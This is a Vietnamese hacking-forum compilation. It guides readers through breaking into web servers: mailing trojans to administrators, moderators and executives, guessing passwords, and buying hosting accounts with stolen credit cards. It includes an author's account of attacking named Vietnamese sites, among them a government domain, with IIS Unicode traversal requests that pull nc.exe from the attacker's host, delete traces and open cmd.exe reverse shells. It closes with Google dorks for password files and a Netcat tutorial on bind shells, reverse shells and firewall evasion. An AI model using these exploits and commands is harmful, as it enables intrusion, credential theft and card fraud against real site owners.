3/ Mỗi service đều có một vài lỗi riêng và chưa chắc thằng Admin nó fix hết, bạn đã biết server nó chạy những service nào rồi ở bước trên, bạn còn chần chờ gì nữa mà không thử hết lỗi của từng service (exploit, password defaut …), nếu dùng lỗi do chính bạn páht hiện và chưa công bố lên mạng nữa thì càng tuyệt, càng dễ thành công. Vào bước này tôi khuyên bạn không nên dùng chương trình quét lỗi, nó sẽ quét từ những lỗi từ thời Napoleon I đến giờ, và với tốc độ chậm rì ở VN, cái cơ bản dai ra nhu co co và chưa chắc thành công
4/ Sau mỗi lúc nó dùng remote exploit của bạn không thành công, server vẫn là một bức tường thật vững chắc không thể nào vượt qua được, bạn hãy nghĩ ngay đến việc làm sao kiếm cho được một accout trong server đó đã (để dùng local exploit). Bạn bắt đầu tìm hiểu về cơ cấu tổ chức của trang web. Ví dụ khi Hack http://www.ttvnonline.com,/ tôi gửi trojan đến cho Vũ Vương Thắng (Admin của TTVN Online), nhưng đều đã bị phát hiện, tôi nghĩ ngay đến chuyện gửi trojan cho những tên cấp thấp hơn, Ví dụ như trong trang http://www.ttvnonline.com/ , ngoài Vũ Vương Thắng, nó còn giao pass FTP cho một số Moderator nữa, thế là bạn gửi cho tất cả cho Moderatorerator và đợi, trong trường hợp này tỷ lệ thành công dễ hơn nhiều bước 1, vì trong đống Moderator chắc cũng có thằng bất cẩn. Hay Ví dụ khi bạn tấn công server của một côn ty, sau khi gửi trojan cho admin mà không dính, bạn có thể gửi trojan cho tay giám đốc kinh doanh nào đó chẳng hạn, chuyên ngành của nó là kinh doanh và nó sẽ không có nhiều đề phòng, cho dù nó yên tâm là nó đã có cài chương trình antivirus, như khi đã nói trong bài Trojan, chương trình antivirus chức năng chính của nó là chống virus, còn những con trojan bị phát hiện chỉ là những con trojan đã nổi tiếng lắm lắm. Ngoài việc dùng keyloger, bạn cũng có thể tự thử tài đoán password của mình. Thường thì những người không giỏi về vi tính thì đặt password có liên quan đến những thông tin của mình (Ví dụ tên vợ con, tên mình, kênh TV ưa thícch …), bước này cũng khá quan trọng và bạn hãy coi phim “Cá Kiếm“ để học tập sư phụ . Vẫn không thành công L, nếu thằng đó dùng share host thì việc kiếm được một cái account khoẻ re, dùng ngay cái credit card do bạn chôm được từ trường đăng ký ngay một cái accout, và thằng reseller cha dại mà từ chối tặng bạn account để xài đâu. Có account trong server đó rồi rất tiện, bạn thử dùng Local exploit để đoạt quyền root, thường thì mấy thằng admin không fix Local exploit, nó chỉ quan tâm từ bên ngoài thôi, còn chuyện nội bộ nó không quan tâm lắm. Bây giờ giống như bước 3, thử tất cả các lỗi Local mà bạn biết để thử đoạt quyền root.
5/ Nếu Website mà bạn muốn Hack bị lỗi PHP thì đầu tiên bạn hãy vào Start --> programs --> MS-DOS Prompt và gõ lệnh : Ping www.têntrangweb.com và Enter để biết được IP của Website đó. Sau đó bạn gõ :
http://IP Website/php/php.exe?c:\winnt\repair\sam
Nó sẽ Download file *.SAM về cho bạn. Đó là file chứa Password tuy nhiên đã được mã hoá. Bạn hãy dùng chương trình L0phtCrack (Download trong mục Hack Tools) để giải mã nó
Thế là xong
--------------------
Kinh nghiem khi Hack Windows 2000 Server IIS 5.0
Kinh nghiệm khi Hack Windows 2000 Server IIS 5.0 :
Qua nghiên cứu cách upload/download file trên một số Server khi tìm cách hack website http://www.cantho1260.net/ và http://www.cantho.gov.vn/ sử dụng Windows 2000 Server chưa patch lỗi thì tôi nhận thấy có một số kinh nghiệm sau đây xin viết vài dòng để chia sẻ cùng với anh em và nếu có thiếu xót xin bổ sung cho. Để Upload netcat lên dùng TFTP thì đơn giản, nhưng trước tiên chúng ta phải cài TFTP server trên system (203.162.30.219). Sau đó cho thi hành các lệnh sau đây trên system của Victim bằng cách dùng một số lỗi như System Traversal của Unicode Exploit chẳng hạn:
GET /scripts/..%c0%af…/winnt/system32/tftp.exe?”-1”+203.162.30.219+GET+nc.exe C:\nc.exe HTTP/1.0
Ví dụ trên sẽ trỏ đến C:\ vì đây là thư mục mà ai cũng có thể Write vào được không có Permit phải là Admin hay không. Nếu Netcat đã có sẵn bạn sẽ nhận được một thông báo là “tftp.exe: can’t write to C:\nc.exe”, nhưng nếu thành công thì Browser sẽ trả về lỗi “HTTP 502 Gateway Error” và một Message là: “ Transfer successful: 59392 byte in x second, 59392 bytes/3s.” Dùng FTP thì hơi nhọc công hơn vì phải qua một trung gian, hãy tạo một file tên gì cũng được trên máy Victim để dùng FTP script với command là –s: [filename] sau đó Script sẽ giúp cho FTP Clien connect đến máy chúng ta để download netcat về local của Host. Trước khi tạo file này chúng ta chắc chắn là sẽ bị cản trở. Và để vượt qua thì có một mẹo nhỏ là hãy copy đổi tên file cmd.exe thành một tên khác trước đã.
GET /scripts/..%c0%af.../winnt/system32/cmd.exe?+/c+copy+c:\winnt\system32\cmd.exe+c:\aclatinh.exe HTTP/1.0
OK! File cmd.exe bây giờ đã được copy sang một bản khác có tên là aclatinh.exe, bây giờ chúng ta lại phải ghi vào C:\ vì như đã nói là đây là nơi mà bất cứ ai cũng có thể write vào. Bây giờ phải tạo một file FTP script bằng cách dùng lệnh echo. Sau đây là một nội dung của một file Script, chúng ta sẽ chọn tên file là ftpaclatinh và username của FTP là anonymous, password là a@a.com, FTP server là 192.168.2.31.
GET /scripts/...%0c%af../aclatinh.exe?+/c+echo+anonymous>C:\ftpaclatinh&&echo+a@a.com>C:\ftpaclatinh&echo+bin>>C:\ftpaclatinh&&echo+get+test.txt+C:\nc.exe>>C:\ftpacla tinh&&echo+Bye>>C:\ftpaclatinh&&ftp+s:C:\ftpaclatinh+192.168.234.31&&del+C:\ftpaclatinh
OK! Sau khi thực hiện script trên nó sẽ copy netcat đến C:\ trên Server và xóa luôn file script ftpaclatinh để tránh bị phát hiện. Nhưng lưu ý là từ dòng thứ 2 phải dùng “>>”để bố sung thêm vào ftpaclatinh chứ không phải là “>”.
_ Tạo file bằng lệnh echo: Dĩ nhiên là nếu FTP và TFTP không có sẵn, trường hợp này chỉ xảy ra đối với một số admin có tính “tào tháo” hay bị Block bởi firewall chẳng hạn thì chúng ta phải dùng lệnh Echo để gõ từng dòng lệnh vào ví dụ như là nội dung của file cmd.asp chẳng hạn thì cách làm như sau: để tạo file thì gõ vào “echo nộidung > c:\tenfile & vol” và để thêm nội dung vào file trên thì gõ vào: echo nộidung >> c:\tenfile & vol và cứ thế tuy lâu nhưng còn hơn không làm được gì. Và một hacker có tên là Relof Temmingh cũng có viết sẵn một Scritp cho Unicode Exploit dưới dạng ngôn ngữ Perl có tên là “cgidecodeloader.pl” cũng dùng cách echo và gián tiếp để tạo ra 2 file là upload.asp và upload.inc cho phép upload dựa trên Browser thuận tiện (và ông ta cũng có viết một Script là “unicodeexcute.pl” cho phép hacker thi hành lệnh từ xa). Dùng unicodeloder.pl thì trước tiên phải chắc chắn là hai file upload.asp và upload.inc phải có cùng trong thư mục chứa file unicodeloader.pl và cần xác định thư mục nào của Server cho phép Writable và excutable đã thường thì nó là C:\intetpub\scripts, là default khi install Windows2000.
C:\>Perl unicodeloader.pl
Usage: unicodeloader IP:port webroot
C:\>Perl unicodeloader.pl cantho1260.net:80 C:\inetpub\scripts
Creating uploading webpage on victim.com on port 80.
The webroot is C:\inetpub\scripts.
testing directory /scripts/..%c0%af../winnt/system32/cmd.exe?/c
farmer brown directory: c:\inetpub\scripts
'-au' is not recognized as an internal or external command,
operable program or batch file.
sensepost.exe found on system
uploading ASP section:
..............
uploading the INC section: (this may take a while)
.................................................................................
upload page created.
Now simply surf to caesars/upload.asp and enjoy.
Files will be uploaded to C:\inetpub\scripts
Và chúng ta hãy khảo xác cách nó làm việc. Trước tiên nó sẽ copy cmd.exe thành một file có tên là “sensepost.exe” đến thư mục đã xác định là Webroot, ở đây là C:\Intetpub\scripts\ sau đó nó bypass qua cmd.exe gián tiếp (“>”) qua exploit . và sensepost.exe được dùng để echo và gián tiếp 2 file upload.asp va upload.inc từng dòng mã một trong hai file để vào thư mục Wroot (ở đây là C:\Inetpub\script) và bây giờ thì hai file trên đã có mặt trên Server chỉ cần trỏ Browser đến đó để upload cmd.asp và ntdaddy.asp mà thôi.
http://www.cantho1260.net/scripts/upload.asp
http://www.cantho1260.net/scripts/cmdasp.asp
Khi đã Upload Netcat (nc.exe) rồi thì chúng ta sẽ cho netcat listen trên máy của mình:
C:\nc.exe –l –p 2002
Và sau đó dùng lại dùng cmd để shovel Netcat listenning trở về máy ta bằng cách thi hành Netcat trên Server thông qua Cmd.asp qua Browser:
C:\inetpub\scripts\nc.exe –v –e cmd.exe cantho1260.net 2002
Tuy thế nhưng tôi chỉ kịp download về mỗi một file Access chứa account prepaid thôi thì Server nó đã Fix lại rồi. Đến nay thì file đó cũng bị Broke hư mất khi defrag đĩa cứng! Uổng quá!
Bài viết của Aclatinh
Huong dan cach tim Website bi loi
Hướng dẫn cách tìm Website bị lỗi :
Tôi sẽ hướng dẫn các bạn cách tìm các Website bị lỗi, đa số cách thông dụng nhất là vào các trang Search như http://www.google.com, http://www.av.com ... rồi đánh "powered by ...." (ví dụ : nếu tìm trang Forum UBB 1.0.3 thì đánh "powered by UBB 1.0.3"). Nhưng như thế thường không hiệu quả và nó cho ra rất nhiều trang chẳng liên quan gì đến trang mình cần tìm. Bây giờ tôi chỉ cho các bạn tìm kiếm trang bị lỗi trên http://www.google.com.
Bình thường một chương trình trên mạng đều có một đoạn string đặc biệt trong URL, ví dụ với lỗi Hosting Controller thì sẽ có đoạn "/admin hay /advadmin hay /hosting" hay với forum UBB thì có "cgi-bin/ultimatebb.cgi?", khi chỉ đánh vậy không nó sẽ liệt kê ra cả trang nói về Hosting Controller lẫn trang đang sử dụng Hosting Controller, như thế kết quả ra nhiều nhưng không hiệu quả. Bây giờ các bạn thêm chữ allinurl: trước đoạn string đặc biệt cần kiếm, thì những tran Web tìm kiếm được chắc chắn sẽ có chuỗi cần tìm.
Ví dụ : Khi tôi kiếm server dùng Hosting Controller, tôi vào http://www.google.com và đánh "allinurl:/advadmin" (không có ngoặc kép) thì nó chỉ liệt kê ra những trang có URL có dạng : http://tentrangweb.com/advadmin.
Nhân tiện tôi cũng chỉ các bạn cách tìm các file trên http://www.google.com
Muốn tìm các file trên http://www.google.com thì bạn thêm chữ type file: trước tên file cần tìm trên các chuyên khu web.
Ví dụ : bạn muốn tìm file mdb (đây là file chứa Password của các Website, dùng Access để mở) thì bạn vào http://www.google.com và đánh type file:mdb
bạn muốn tìm file SAM (đây là file chứa Password của Windows NT, dùng L0phtCrack để Crack) thì bạn vào http://www.google.com và đánh type file:SAM
--------------------
Huong dan su dung Netcat
Hướng dẫn sử dụng Netcat
1. Giới thiệu
Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết một chút về Netcat;)
2. Biên dịch
Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
3. Các tùy chọn của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]* Cú pháp:
- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]* Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan portNetcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
4. Các ví dụ:
4.1 Chộp banner của web server
Ví dụ: nc đến 172.16.84.2, cổng 80
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/htmlĐể biết thông tin chi tiết về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hơn nữa)
C:\>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCKNếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80- xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server4.2 Quét cổng
- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open- nếu bạn cần scan các cổng UDP, dùng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open4.3 Biến Netcat thành một trojan
- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error- trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCKNhư bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux.
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ:
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.
5. Kĩ thuật tiên tiến
5.1 Telnet nghịch chuuyển
- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:
- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
+ cửa sổ Netcat (1)
C:\>nc -nvv -l -p 80
listennng on [any] 80 ...
connect to [172.16.84.1] from <UNKNOWN> [172.16.84.2] 1055
pwd
ls -la
_+ cửa sổ Netcat (2)
C:\>nc -nvv -l -p 25
listening on [any] 25 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056
/
total 171
drwxr-xr-x 17 root root 4096 Feb 5 16:15 .
drwxr-xr-x 17 root root 4096 Feb 5 16:15 ..
drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n
drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot
drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev
drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²?
drwxr-xr-x 6 root root 4096 Feb 5 08:58 home
drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b
drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt
drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²?
drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt
dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²?
drwx------ 12 root root 4096 Feb 5 16:24 root
drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n
drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp
drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr
drwxr-xr-x 18 root root 4096 Feb 5 08:52 var- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
Trying 172.16.84.1...
Connected to 172.16.84.1.
Escape character is '^]'.
_Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2).
Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc.
5.2 Tạo kênh sau
Cũng tương tự như telnet nghịch chuyển.
- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall chặn:
C:\>nc -nvv -l -p 80
listennng on [any] 80 ...- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell:
E:\>nc -e cmd.exe 172.16.84.1 80Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.
C:\>nc -nvv -l -p 80
listenning pm [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>5.3 Đổi hướng cổng
Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau:
- chạy nc trên cổng bất kì:
E:\>nc -nvv -L -p 1234 -e cmd.exe
listening on [any] 1234 ...- chạy tunnel hoặc fpipe để đổi hướng cổng
C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234C:\>fpipe -l 53 -r 1234 127.0.0.1tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.
Đổi hướng cổng là một cách để đi vòng qua firewalls.
6. Kết luận:
Netcat thật mạnh.